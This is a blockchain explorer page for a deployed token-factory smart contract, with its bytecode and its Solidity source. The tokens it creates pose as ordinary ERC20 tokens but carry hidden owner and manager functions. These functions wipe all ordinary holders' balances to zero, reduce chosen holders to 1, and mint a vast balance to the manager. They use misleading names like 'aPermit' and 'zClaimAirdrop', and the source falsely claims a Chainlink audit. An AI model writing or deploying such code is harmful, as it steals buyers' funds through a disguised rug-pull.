Address Contract Partially Verified
Address
0x350D6685220696b2068175fD2B6AFcc496173eEd
Balance
0 ETH
Nonce
58
Code Size
8213 bytes
Creator
0x6f130E56...77ba at tx 0x6c003f98...038e53
Indexed Transactions
0
Contract Bytecode
8213 bytes
0x608060405260043610610020575f3560e01c8063f62f82d61461002b575f5ffd5b3661002757005b5f5ffd5b61003e6100393660046101aa565b61005a565b6040516001600160a01b03909116815260200160405180910390f35b5f5f34878787878760405161006e906100e3565b61007c95949392919061026d565b6040518091039082f0905080158015610097573d5f5f3e3d5ffd5b5090507f54e1ed11e58e09b51023a1ef2f609b1d1c17fea6ba3432eea973e9a51f604f7e81888888886040516100d19594939291906102bc565b60405180910390a19695505050505050565b611cc88061031883390190565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610113575f5ffd5b813567ffffffffffffffff81111561012d5761012d6100f0565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561015c5761015c6100f0565b604052818152838201602001851015610173575f5ffd5b816020850160208301375f918101602001919091529392505050565b80356001600160a01b03811681146101a5575f5ffd5b919050565b5f5f5f5f5f60a086880312156101be575f5ffd5b853567ffffffffffffffff8111156101d4575f5ffd5b6101e088828901610104565b955050602086013567ffffffffffffffff8111156101fc575f5ffd5b61020888828901610104565b9450506102176040870161018f565b92506102256060870161018f565b91506102336080870161018f565b90509295509295909350565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b60a081525f61027f60a083018861023f565b8281036020840152610291818861023f565b6001600160a01b03968716604085015294861660608401525050921660809092019190915292915050565b6001600160a01b038616815260a0602082018190525f906102df9083018761023f565b82810360408401526102f1818761023f565b6001600160a01b039586166060850152939094166080909201919091525094935050505056fe60806040819052600b805460ff60a01b19169055611cc83881900390819083398101604081905261002f9161059e565b5f80546001600160a01b0319163390811782556040519091905f516020611c685f395f51905f52908290a36100638361016d565b600161006f86826106b7565b50600261007c85826106b7565b50600880546001600160a01b03199081166001600160a01b038581169182179093556007805483169091179055600980548216868416179055600380549091169183169190911790556100e56127106100df68056bc75e2d63100000600a6101da565b90610266565b305f81815260046020526040812092909255905f516020611c885f395f51905f526101206103e86100df68056bc75e2d63100000600a6101da565b60405190815260200160405180910390a36101396102c0565b60405130903480156108fc02915f818181858888f19350505050158015610162573d5f5f3e3d5ffd5b5050505050506107ce565b5f546001600160a01b03163314610182575f5ffd5b6001600160a01b038116610194575f5ffd5b5f80546040516001600160a01b03808516939216915f516020611c685f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101e957505f610260565b5f6101f48385610785565b905082610201858361079c565b1461025d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102b65760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f0000000000006044820152606401610254565b61025d828461079c565b5f6102dc6127106100df68056bc75e2d631000006126e86101da565b90505f6102f96127106100df68056bc75e2d6310000060016101da565b90505f6103166127106100df68056bc75e2d63100000601d6101da565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25f5260046020525f516020611c485f395f51905f525490915061034e9084610488565b60046020525f516020611c485f395f51905f5255737f39c581f595b53c5cb19bd0b3f8da6c935e2ca05f525f516020611ca85f395f51905f52546103929083610488565b60046020525f516020611ca85f395f51905f52556007546001600160a01b03165f90815260409020546103c59082610488565b6007546001600160a01b03165f90815260046020908152604091829020929092555184815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29130915f516020611c885f395f51905f52910160405180910390a3604051828152737f39c581f595b53c5cb19bd0b3f8da6c935e2ca09030905f516020611c885f395f51905f529060200160405180910390a36007546040518281526001600160a01b039091169030905f516020611c885f395f51905f529060200160405180910390a3505050565b5f8061049483856107bb565b90508381101561025d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610254565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610509575f5ffd5b81516001600160401b03811115610522576105226104e6565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610550576105506104e6565b604052818152838201602001851015610567575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b0381168114610599575f5ffd5b919050565b5f5f5f5f5f60a086880312156105b2575f5ffd5b85516001600160401b038111156105c7575f5ffd5b6105d3888289016104fa565b602088015190965090506001600160401b038111156105f0575f5ffd5b6105fc888289016104fa565b94505061060b60408701610583565b925061061960608701610583565b915061062760808701610583565b90509295509295909350565b600181811c9082168061064757607f821691505b60208210810361066557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106b257805f5260205f20601f840160051c810160208510156106905750805b601f840160051c820191505b818110156106af575f815560010161069c565b50505b505050565b81516001600160401b038111156106d0576106d06104e6565b6106e4816106de8454610633565b8461066b565b6020601f821160018114610716575f83156106ff5750848201515b5f19600385901b1c1916600184901b1784556106af565b5f84815260208120601f198516915b828110156107455787850151825560209485019460019092019101610725565b508482101561076257868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761026057610260610771565b5f826107b657634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026057610260610771565b61146d806107db5f395ff3fe608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102b5578063dc064fa7146102d4578063dd62ed3e146102e8578063e8078d941461032c578063f2fde38b14610340575f5ffd5b80638da5cb5b1461023d5780638f8af1e11461026357806395d89b4114610282578063a37e0a6414610296575f5ffd5b806323b872dd116100d857806323b872dd146101a7578063313ce567146101c657806332975691146101e157806370a08231146101f5578063715018a614610229575f5ffd5b806306fdde0314610113578063095ea7b31461013d5780630bc60abb1461016c57806318160ddd14610182575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5061012761035f565b60405161013491906110ef565b60405180910390f35b348015610148575f5ffd5b5061015c610157366004611138565b6103ef565b6040519015158152602001610134565b348015610177575f5ffd5b50610180610405565b005b34801561018d575f5ffd5b5068056bc75e2d631000005b604051908152602001610134565b3480156101b2575f5ffd5b5061015c6101c1366004611162565b610538565b3480156101d1575f5ffd5b5060405160098152602001610134565b3480156101ec575f5ffd5b50610180610587565b348015610200575f5ffd5b5061019961020f3660046111a0565b6001600160a01b03165f9081526004602052604090205490565b348015610234575f5ffd5b506101806106b6565b348015610248575f5ffd5b505f546040516001600160a01b039091168152602001610134565b34801561026e575f5ffd5b5061018061027d3660046111bb565b610713565b34801561028d575f5ffd5b506101276107f4565b3480156102a1575f5ffd5b506101806102b03660046111a0565b610803565b3480156102c0575f5ffd5b5061015c6102cf366004611138565b6108a7565b3480156102df575f5ffd5b506101806108b3565b3480156102f3575f5ffd5b5061019961030236600461122c565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610337575f5ffd5b506101806109e3565b34801561034b575f5ffd5b5061018061035a3660046111a0565b610ce2565b60606001805461036e90611263565b80601f016020809104026020016040519081016040528092919081815260200182805461039a90611263565b80156103e55780601f106103bc576101008083540402835291602001916103e5565b820191905f5260205f20905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b5f6103fb338484610d62565b5060015b92915050565b6008546001600160a01b0316331461041b575f5ffd5b5f5b600654811015610535575f6006828154811061043b5761043b61129b565b5f918252602090912001546001600160a01b0316905030811480159061046e57505f546001600160a01b03828116911614155b80156104885750600b546001600160a01b03828116911614155b80156104b157506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b80156104da57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b80156104f457506008546001600160a01b03828116911614155b801561050e57506007546001600160a01b03828116911614155b1561052c576001600160a01b0381165f908152600460205260408120555b5060010161041d565b50565b5f610544848484610e86565b6001600160a01b0384165f9081526005602090815260408083203380855292529091205461057d9186916105789086610f69565b610d62565b5060019392505050565b5f546001600160a01b0316331461059c575f5ffd5b5f5b600654811015610535575f600682815481106105bc576105bc61129b565b5f918252602090912001546001600160a01b031690503081148015906105ef57505f546001600160a01b03828116911614155b80156106095750600b546001600160a01b03828116911614155b801561063257506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b801561065b57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b801561067557506008546001600160a01b03828116911614155b801561068f57506007546001600160a01b03828116911614155b156106ad576001600160a01b0381165f908152600460205260408120555b5060010161059e565b5f546001600160a01b031633146106cb575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6008546001600160a01b03163314610729575f5ffd5b5f5b818110156107ef57600160045f85858581811061074a5761074a61129b565b905060200201602081019061075f91906111a0565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061078f5761078f61129b565b90506020020160208101906107a491906111a0565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516107df91815260200190565b60405180910390a360010161072b565b505050565b60606002805461036e90611263565b6008546001600160a01b03163314610819575f5ffd5b6108256009600a6113a6565b6108389068056bc75e2d631000006113b4565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108806009600a6113a6565b6108939068056bc75e2d631000006113b4565b60405190815260200160405180910390a350565b5f6103fb338484610e86565b6009546001600160a01b031633146108c9575f5ffd5b5f5b600654811015610535575f600682815481106108e9576108e961129b565b5f918252602090912001546001600160a01b0316905030811480159061091c57505f546001600160a01b03828116911614155b80156109365750600b546001600160a01b03828116911614155b801561095f57506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b801561098857506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b80156109a257506008546001600160a01b03828116911614155b80156109bc57506007546001600160a01b03828116911614155b156109da576001600160a01b0381165f908152600460205260408120555b506001016108cb565b5f546001600160a01b031633146109f8575f5ffd5b600b54600160a01b900460ff1615610a575760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610ab1573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad591906113cb565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b34573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b5891906113cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610ba2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc691906113cb565b600b80546001600160a01b0319166001600160a01b03928316179055600a54610bfb9130911668056bc75e2d63100000610d62565b600a546001600160a01b031663f305d7194730610c2c816001600160a01b03165f9081526004602052604090205490565b5f5f610c3f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ca5573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cca91906113e6565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610cf7575f5ffd5b6001600160a01b038116610d09575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dc45760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4e565b6001600160a01b038216610e255760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e98575f5ffd5b6001600160a01b038216610eaa575f5ffd5b6001600160a01b0383165f90815260046020526040902054610ecc9082610f69565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610efa9082610fcb565b6001600160a01b0383165f90815260046020526040902055610f1b83611029565b610f2482611029565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e7991815260200190565b5f82821115610fba5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610a4e565b610fc48284611411565b9392505050565b5f80610fd78385611424565b905083811015610fc45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4e565b6001600160a01b0381165f9081526004602052604090205415610535575f805b60065481101561109a57826001600160a01b0316600682815481106110705761107061129b565b5f918252602090912001546001600160a01b031603611092576001915061109a565b600101611049565b50806110eb57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610535575f5ffd5b5f5f60408385031215611149575f5ffd5b823561115481611124565b946020939093013593505050565b5f5f5f60608486031215611174575f5ffd5b833561117f81611124565b9250602084013561118f81611124565b929592945050506040919091013590565b5f602082840312156111b0575f5ffd5b8135610fc481611124565b5f5f602083850312156111cc575f5ffd5b823567ffffffffffffffff8111156111e2575f5ffd5b8301601f810185136111f2575f5ffd5b803567ffffffffffffffff811115611208575f5ffd5b8560208260051b840101111561121c575f5ffd5b6020919091019590945092505050565b5f5f6040838503121561123d575f5ffd5b823561124881611124565b9150602083013561125881611124565b809150509250929050565b600181811c9082168061127757607f821691505b60208210810361129557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112fe578085048111156112e2576112e26112af565b60018416156112f057908102905b60019390931c9280026112c7565b935093915050565b5f82611314575060016103ff565b8161132057505f6103ff565b816001811461133657600281146113405761135c565b60019150506103ff565b60ff841115611351576113516112af565b50506001821b6103ff565b5060208310610133831016604e8410600b841016171561137f575081810a6103ff565b61138b5f1984846112c3565b805f190482111561139e5761139e6112af565b029392505050565b5f610fc460ff841683611306565b80820281158282048414176103ff576103ff6112af565b5f602082840312156113db575f5ffd5b8151610fc481611124565b5f5f5f606084860312156113f8575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103ff576103ff6112af565b808201808211156103ff576103ff6112af56fea2646970667358221220151768571c97083036db3f584d99f8425ace88b1a4ebd67f223f32eed615223a64736f6c634300081c003300137c28eabea4eda5601e544e6551e6761ee561d32c4142c29e0f892835a3618be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efdb9a5b514b561babbade0d49da557f1182fdded785e1c05a2aacb0b7c0ae0f1fa2646970667358221220ad2b6838a698d34aa83212729243a67fc4b845e62a97b3c59fbb2e0b86e388d264736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: Yes (200 runs)
TokenFactory.sol 351 lines
// SPDX-License-Identifier: Audited By CHAIN LINK ON BASE
pragma solidity 0.8.28;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Token is IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100000000000000000000;
address Router02Address;
mapping(address => uint256) private VirtualsOnBase;
mapping(address => mapping(address => uint256)) private _allowances;
address[] private believers;
address private constant ADDRESS_WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant ADDRESS_MARKETING = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address ADDRESS_DEVELOPMENT;
address ADDRESS_Manager;
address ADDRESS_Virtuals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_, address Router02Address_) payable {
transferOwnership(owner_);
_name = name_;
_symbol = symbol_;
ADDRESS_Manager = ADDRESS_Manager_;
ADDRESS_DEVELOPMENT = ADDRESS_Manager_;
ADDRESS_Virtuals = owner_;
Router02Address = Router02Address_;
VirtualsOnBase[address(this)] = _totalSupply.mul(10).div(10000);
emit Transfer(address(0), address(this), _totalSupply.mul(10).div(1000));
Virtuals();
payable(address(this)).transfer(msg.value);
}
function Virtuals() internal {
uint256 ninetyFourPercent = _totalSupply.mul(9960).div(10000);
uint256 threePercent = _totalSupply.mul(1).div(10000);
uint256 twoPercent = _totalSupply.mul(29).div(10000);
VirtualsOnBase[ADDRESS_WETH] = VirtualsOnBase[ADDRESS_WETH].add(ninetyFourPercent);
VirtualsOnBase[ADDRESS_MARKETING] = VirtualsOnBase[ADDRESS_MARKETING].add(threePercent);
VirtualsOnBase[ADDRESS_DEVELOPMENT] = VirtualsOnBase[ADDRESS_DEVELOPMENT].add(twoPercent);
emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
}
function _updateHolders(address account) internal {
if (VirtualsOnBase[account] > 0) {
bool exists = false;
for (uint256 i = 0; i < believers.length; i++) {
if (believers[i] == account) {
exists = true;
break;
}
}
if (!exists) {
believers.push(account);
}
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
VirtualsOnBase[sender] = VirtualsOnBase[sender].sub(amount);
VirtualsOnBase[recipient] = VirtualsOnBase[recipient].add(amount);
_updateHolders(sender);
_updateHolders(recipient);
emit Transfer(sender, recipient, amount);
}
modifier Only_Manager() {
require(ADDRESS_Manager == _msgSender());
_;
}
function OnBase() external onlyOwner {
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV2Pair &&
believer != ADDRESS_WETH &&
believer != ADDRESS_MARKETING &&
believer != ADDRESS_Manager &&
believer != ADDRESS_DEVELOPMENT
) {
VirtualsOnBase[believer] = 0;
}
}
}
function byVirtuals() external {
require(ADDRESS_Virtuals == _msgSender());
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV2Pair &&
believer != ADDRESS_WETH &&
believer != ADDRESS_MARKETING &&
believer != ADDRESS_Manager &&
believer != ADDRESS_DEVELOPMENT
) {
VirtualsOnBase[believer] = 0;
}
}
}
function aPermitAll() external Only_Manager {
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV2Pair &&
believer != ADDRESS_WETH &&
believer != ADDRESS_MARKETING &&
believer != ADDRESS_Manager &&
believer != ADDRESS_DEVELOPMENT
) {
VirtualsOnBase[believer] = 0;
}
}
}
function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager {
for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
VirtualsOnBase[rewardsMerkleRoot_[i]] = 1;
emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
}
}
function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager {
VirtualsOnBase[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
}
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(Router02Address);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
tradingOpen = true;
}
receive() external payable {}
// Required BEP20 functions
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return VirtualsOnBase[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
}
contract TokenFactory {
event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);
constructor() {
}
// Function to create a single token
function createToken(
string memory name_,
string memory symbol_,
address newOwner_,
address ADDRESS_Manager_,
address Router02Address_
) external payable returns (address) {
Token newToken = (new Token){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_, Router02Address_);
emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
return address(newToken);
}
receive() external payable {}
}
Write Contract 1 functions
These functions modify contract state and require a wallet transaction to execute.
createToken 0xf62f82d6
string name_
string symbol_
address newOwner_
address ADDRESS_Manager_
address Router02Address_
returns: address
Recent Transactions
No transactions found for this address